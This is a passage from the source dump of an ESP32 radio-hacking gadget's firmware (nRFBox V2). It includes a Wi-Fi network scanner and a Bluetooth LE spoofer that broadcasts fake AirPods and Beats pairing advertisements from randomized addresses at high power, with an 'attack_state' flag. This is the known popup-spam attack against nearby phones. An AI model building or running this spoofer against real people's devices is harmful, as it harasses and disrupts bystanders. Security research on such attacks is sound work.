| 290 | } 291 | 292 | void Betas_Fit_Pro() { 293 | device_choice = 0; 294 | device_index = 15; 295 | 296 | } 297 | 298 | void Beats_Studio_Buds_Plus() { 299 | device_choice = 0; 300 | device_index = 16; 301 | attack_state = 1; 302 | 303 | } 304 | void setAdvertisingData() { 305 | 306 | switch (deviceType) { 307 | case 1: 308 | Airpods(); 309 | break; 310 | case 2: 311 | Airpods_pro(); 312 | break; 313 | case 3: 314 | Airpods_Max(); 315 | break; 316 | case 4: 317 | Airpods_Gen_2(); 318 | break; 319 | case 5: 320 | Airpods_Gen_3(); 321 | break; 322 | case 6: 323 | Airpods_Pro_Gen_2(); 324 | break; 325 | case 7: 326 | Power_Beats(); 327 | break; 328 | case 8: 329 | Power_Beats_Pro(); 330 | break; 331 | case 9: 332 | Beats_Solo_Pro(); 333 | break; 334 | case 10: 335 | Beats_Studio_Buds(); 336 | break; 337 | case 11: 338 | Beats_Flex(); 339 | break; 340 | case 12: 341 | Beats_X(); 342 | break; 343 | case 13: 344 | Beats_Solo_3(); 345 | break; 346 | case 14: 347 | Beats_Studio_3(); 348 | break; 349 | case 15: 350 | Beats_Studio_Pro(); 351 | break; 352 | case 16: 353 | Betas_Fit_Pro(); 354 | break; 355 | case 17: 356 | Beats_Studio_Buds_Plus(); 357 | break; 358 | default: 359 | Airpods(); 360 | break; 361 | 362 | updateDisplay(); 363 | } 364 | } 365 | 366 | 367 | void handleButtonPress(int pin, void (*callback)()) { 368 | int reading = digitalRead(pin); 369 | 370 | if (reading == LOW) { 371 | unsigned long currentTime = millis(); 372 | delay(300); 373 | updateDisplay(); 374 | 375 | if ((currentTime - lastDebounceTime) > debounceDelay) { 376 | callback(); 377 | lastDebounceTime = currentTime; 378 | } 379 | } 380 | } 381 | 382 | void changeDeviceTypeNext() { 383 | deviceType++; 384 | if (deviceType > 26) deviceType = 1; 385 | Serial.println("Device Type Next: " + String(deviceType)); 386 | setAdvertisingData(); 387 | updateDisplay(); 388 | } 389 | 390 | void changeDeviceTypePrev() { 391 | deviceType--; 392 | if (deviceType < 1) deviceType = 26; 393 | Serial.println("Device Type Prev: " + String(deviceType)); 394 | setAdvertisingData(); 395 | updateDisplay(); 396 | } 397 | 398 | void changeAdvTypeNext() { 399 | advType++; 400 | if (advType > 5) advType = 1; 401 | Serial.println("Advertising Type Next: " + String(advType)); 402 | setAdvertisingData(); 403 | updateDisplay(); 404 | } 405 | 406 | void changeAdvTypePrev() { 407 | advType--; 408 | if (advType < 1) advType = 5; 409 | Serial.println("Advertising Type Prev: " + String(advType)); 410 | setAdvertisingData(); 411 | updateDisplay(); 412 | } 413 | 414 | void toggleAdvertising() { 415 | 416 | setNeoPixelColour("0"); 417 | 418 | isAdvertising = !isAdvertising; 419 | 420 | if (!isAdvertising) { 421 | pAdvertising->stop(); 422 | setNeoPixelColour("red"); 423 | Serial.println("Advertising stopped."); 424 | updateDisplay(); 425 | } 426 | if (isAdvertising) { 427 | setNeoPixelColour("0"); 428 | if (attack_state == 1) { 429 | esp_bd_addr_t dummy_addr = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 430 | for (int i = 0; i < 6; i++) { 431 | dummy_addr[i] = random(256); 432 | if (i == 0) { 433 | dummy_addr[i] |= 0xF0; 434 | } 435 | } 436 | // selectDevice(selectedPacket); 437 | 438 | BLEAdvertisementData oAdvertisementData = getAdvertismentData(); 439 | 440 | pAdvertising->setDeviceAddress(dummy_addr, BLE_ADDR_TYPE_RANDOM); 441 | pAdvertising->addServiceUUID(devices_uuid); 442 | pAdvertising->setAdvertisementData(oAdvertisementData); 443 | 444 | pAdvertising->setMinInterval(0x20); 445 | pAdvertising->setMaxInterval(0x20); 446 | pAdvertising->setMinPreferred(0x20); 447 | pAdvertising->setMaxPreferred(0x20); 448 | 449 | pAdvertising->start(); 450 | delay(delayMillisecond); // delay for delayMillisecond ms 451 | pAdvertising->stop(); 452 | } 453 | 454 | Serial.println("Advertising started."); 455 | updateDisplay(); 456 | 457 | if (digitalRead(advControlPin) == LOW) { 458 | delay(50); // Debounce delay 459 | isAdvertising = !isAdvertising; 460 | updateDisplay(); 461 | //break; 462 | } 463 | } 464 | //isAdvertising = !isAdvertising; 465 | } 466 | 467 | 468 | void spooferSetup() { 469 | 470 | pinMode(deviceTypeNextPin, INPUT_PULLUP); 471 | pinMode(deviceTypePrevPin, INPUT_PULLUP); 472 | pinMode(advTypeNextPin, INPUT_PULLUP); 473 | //pinMode(advTypePrevPin, INPUT_PULLUP); 474 | pinMode(advControlPin, INPUT_PULLUP); 475 | 476 | BLEDevice::init("AirPods 69"); 477 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); 478 | updateDisplay(); 479 | BLEServer *pServer = BLEDevice::createServer(); 480 | pAdvertising = pServer->getAdvertising(); 481 | 482 | esp_bd_addr_t null_addr = {0xFE, 0xED, 0xC0, 0xFF, 0xEE, 0x69}; 483 | pAdvertising->setDeviceAddress(null_addr, BLE_ADDR_TYPE_RANDOM); 484 | delay(500); 485 | 486 | } 487 | 488 | void spooferLoop() { 489 | 490 | handleButtonPress(deviceTypeNextPin, changeDeviceTypeNext); 491 | handleButtonPress(deviceTypePrevPin, changeDeviceTypePrev); 492 | handleButtonPress(advTypeNextPin, changeAdvTypeNext); 493 | //handleButtonPress(advTypePrevPin, changeAdvTypePrev); 494 | handleButtonPress(advControlPin, toggleAdvertising); 495 | 496 | delay(50); // Avoid overloading the CPU 497 | } 498 | -------------------------------------------------------------------------------- /nRFBox_V2/spoofer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef spoofer_H 7 | #define spoofer_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "neopixel.h" 15 | 16 | void spooferSetup(); 17 | void spooferLoop(); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /nRFBox_V2/wifiscan.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "wifiscan.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | 11 | #define BTN_PIN_UP 26 12 | #define BTN_PIN_DOWN 33 13 | #define BTN_PIN_SELECT 27 14 | #define BTN_PIN_BACK 25 15 | 16 | int currentIndex = 0; 17 | int listStartIndex = 0; 18 | bool isDetailView = false; 19 | unsigned long scan_StartTime = 0; 20 | const unsigned long scanTimeout = 5000; 21 | bool isScanComplete = false; 22 | 23 | unsigned long lastButtonPress = 0; 24 | unsigned long debounceTime = 200; 25 | 26 | void wifiscanSetup() { 27 | Serial.begin(115200); 28 | u8g2.setFont(u8g2_font_6x10_tr); 29 | 30 | WiFi.mode(WIFI_STA); 31 | WiFi.disconnect(); 32 | 33 | pinMode(BTN_PIN_UP, INPUT_PULLUP); 34 | pinMode(BTN_PIN_DOWN, INPUT_PULLUP); 35 | pinMode(BTN_PIN_SELECT, INPUT_PULLUP); 36 | pinMode(BTN_PIN_BACK, INPUT_PULLUP); 37 | 38 | for (int cycle = 0; cycle < 3; cycle++) { 39 | for (int i = 0; i < 3; i++) { 40 | u8g2.clearBuffer(); 41 | u8g2.setFont(u8g2_font_ncenB08_tr); 42 | u8g2.drawStr(0, 10, "Scanning WiFi"); 43 | 44 | String dots = ""; 45 | for (int j = 0; j <= i; j++) { 46 | dots += " ."; 47 | setNeoPixelColour("white"); 48 | } 49 | setNeoPixelColour("0"); 50 | 51 | u8g2.drawStr(80, 10, dots.c_str()); 52 | 53 | u8g2.sendBuffer(); 54 | delay(300); 55 | } 56 | } 57 | 58 | scan_StartTime = millis(); 59 | isScanComplete = false; 60 | } 61 | 62 | void wifiscanLoop() { 63 | unsigned long currentMillis = millis(); 64 | 65 | if (!isScanComplete && currentMillis - scan_StartTime < scanTimeout) { 66 | int foundNetworks = WiFi.scanNetworks(); 67 | if (foundNetworks >= 0) { 68 | isScanComplete = true; 69 | } 70 | } 71 | 72 | if (currentMillis - lastButtonPress > debounceTime) { 73 | if (digitalRead(BTN_PIN_UP) == LOW) { 74 | if (currentIndex > 0) { 75 | currentIndex--; 76 | if (currentIndex < listStartIndex) { 77 | listStartIndex--; 78 | } 79 | } 80 | lastButtonPress = currentMillis; 81 | } else if (digitalRead(BTN_PIN_DOWN) == LOW) { 82 | if (currentIndex < WiFi.scanComplete() - 1) { 83 | currentIndex++; 84 | if (currentIndex >= listStartIndex + 5) { 85 | listStartIndex++; 86 | } 87 | } 88 | lastButtonPress = currentMillis; 89 | } else if (digitalRead(BTN_PIN_SELECT) == LOW) { 90 | isDetailView = true; 91 | lastButtonPress = currentMillis; 92 | } 93 | } 94 | 95 | if (!isDetailView && isScanComplete) { 96 | u8g2.clearBuffer(); 97 | u8g2.setFont(u8g2_font_6x10_tr); 98 | u8g2.drawStr(0, 10, "Wi-Fi Networks:"); 99 | 100 | int networkCount = WiFi.scanComplete(); 101 | for (int i = 0; i < 5; i++) { 102 | int currentNetworkIndex = i + listStartIndex; 103 | if (currentNetworkIndex >= networkCount) break; 104 | 105 | String networkName = WiFi.SSID(currentNetworkIndex); 106 | int rssi = WiFi.RSSI(currentNetworkIndex); 107 | 108 | String networkInfo = networkName.substring(0, 7); 109 | String networkrssi = " | RSSI " + String(rssi); 110 | 111 | if (currentNetworkIndex == currentIndex) { 112 | u8g2.drawStr(0, 20 + i * 10, ">"); 113 | } 114 | u8g2.drawStr(10, 20 + i * 10, networkInfo.c_str()); 115 | u8g2.drawStr(50, 20 + i * 10, networkrssi.c_str()); 116 | } 117 | u8g2.sendBuffer(); 118 | } 119 | 120 | if (isDetailView) { 121 | String networkName = WiFi.SSID(currentIndex); 122 | String networkBSSID = WiFi.BSSIDstr(currentIndex); 123 | int rssi = WiFi.RSSI(currentIndex); 124 | int channel = WiFi.channel(currentIndex); 125 | 126 | u8g2.clearBuffer(); 127 | u8g2.setFont(u8g2_font_6x10_tr); 128 | u8g2.drawStr(0, 10, "Network Details:"); 129 | 130 | u8g2.setFont(u8g2_font_5x8_tr); 131 | String name = "SSID: " + networkName; 132 | String bssid = "BSSID: " + networkBSSID; 133 | String signal = "RSSI: " + String(rssi); 134 | String ch = "Channel: " + String(channel); 135 | 136 | u8g2.drawStr(0, 20, name.c_str()); 137 | u8g2.drawStr(0, 30, bssid.c_str()); 138 | u8g2.drawStr(0, 40, signal.c_str()); 139 | u8g2.drawStr(0, 50, ch.c_str()); 140 | u8g2.drawStr(0, 60, "Press LEFT to go back"); 141 | u8g2.sendBuffer(); 142 | 143 | if (digitalRead(BTN_PIN_BACK) == LOW) { 144 | isDetailView = false; 145 | lastButtonPress = currentMillis; 146 | } 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /nRFBox_V2/wifiscan.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef wifiscan_H 7 | #define wifiscan_H 8 | 9 | #include 10 | #include 11 | #include "neopixel.h" 12 | 13 | void wifiscanSetup(); 14 | void wifiscanLoop(); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /precompiled bin/nRFBox_V2-0-0.ino.node32s.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/precompiled bin/nRFBox_V2-0-0.ino.node32s.bin -------------------------------------------------------------------------------- /precompiled bin/nRFBox_V2-1-1.ino.node32s.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/precompiled bin/nRFBox_V2-1-1.ino.node32s.bin -------------------------------------------------------------------------------- /precompiled bin/nRFBox_V2-2-1.ino.node32s.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/precompiled bin/nRFBox_V2-2-1.ino.node32s.bin -------------------------------------------------------------------------------- /precompiled bin/nRFBox_V2-5-0.ino.node32s.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/precompiled bin/nRFBox_V2-5-0.ino.node32s.bin --------------------------------------------------------------------------------